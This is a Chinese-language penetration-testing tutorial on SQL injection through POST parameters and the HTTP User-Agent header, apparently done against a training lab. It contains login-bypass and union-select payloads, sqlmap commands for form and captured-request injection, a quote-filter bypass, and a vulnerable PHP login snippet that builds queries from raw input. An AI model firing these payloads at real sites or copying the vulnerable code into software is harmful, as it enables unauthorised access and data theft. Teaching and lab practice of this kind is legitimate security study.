一、POST注入
POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别。
#最经典的POST注入——万能密码
$password=' or 1=1 -- qwe
$password=' or 1=1#
#POST注入与GET注入差别不大
#POST注入比GET注入多得多
#查看字段数
$password=' or 1=1 order by 3 -- qwe
#判断回显点
$password=' union select 1,2,3 -- qwe
#通过sqlmap进行POST注入
#--form,sqlmap去读取页面中POST传参的表单的传参名然后进行SQL注入
python sqlmap.py -u http://apple/pea/index.php --form
#获取表
python sqlmap.py -u http://apple/pea/index.php --form --tables
#提高等级
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --form --tables --level 3 --risk 2
#其实--form并不是一种好方法
#-r 抓包,一种比较好的方法,sqlmap读取数据包文件进行SQL注入,注入处可以输入一个*号告诉sqlmap测试的点
#如果是一个登陆后的用户界面存在SQL注入,登陆后的用户需要cookie,sqlmap没有这个权限,但是-r可以读取cookie
#随机输入用户名和密码,使用Burp Suite进行抓包,将数据包复制到文本文件,将文本文件复制到sqlmap目录下
python sqlmap.py -r 1.txt
python sqlmap.py -r 1.txt --level 3 --risk 2
二、HEAD注入
PHP 中的许多预定义变量都是超全局变量,这意味着它们在一个脚本的全部作用域中都可用。
#这些超全局变量主要有:
$_REQUEST #获取GET/POST/COOKIE,COOKIE在新版本已经无法获取了
$_POST #获取POST传参
$_GET #获取GET的传参
$_COOKIE #获取COOKIE的值
$_SERVER #包含了诸如头信息(header)、路径(path)以及脚本位置(script locations)等等信息的数组
请求头:
GET传参
HEADER
POST传参
#以下是通过Burp对某个登录界面进行抓包得到的请求头
#我们可以得到一些关键信息,比如非登录界面使用POST传参
#User-Agent,简称UA,称为用户代理,我们可以通过Burp对其进行修改
#Referer是访问的网址
#username=admin&password=123456表示尝试输入的用户名是admin,密码是123456
POST /Pass-05/index.php HTTP/1.1
Host: inject2.lab.aqlab.cn:81
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://inject2.lab.aqlab.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2.lab.aqlab.cn:81/Pass-05/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
username=admin&password=123456&submit=%E7%99%BB%E5%BD%95
Http Header之User-Agent
User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的 UA来判断的。UA可以进行伪装。
浏览器的UA字串的标准格式:浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识版本信息。但各个浏览器有所不同。
为了方便分析,给出该网站PHP处理登录的源码
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){
die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent ('uagent','username') VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
我们可以发现,用户名和密码被拼接起来,并且使用正则表达式对单引号进行了过滤,虽然仍然有方法进行绕过,但并不是本文的重点,我们主要利用$uagent = $_SERVER[‘HTTP_USER_AGENT’]得到的UA进行渗透测试。
#简单介绍绕过正则表达式(禁止使用单引号)的方法,但并不是本文重点,如下图所示
#数据库查询语句中,第二个单引号被转义了,导致\' and password=变成了字符串
select * from user where username ='\' and password='or 1=1 -- qwe'
以下是$_SERVER中包含的信息,第五行数据就是用户代理UA。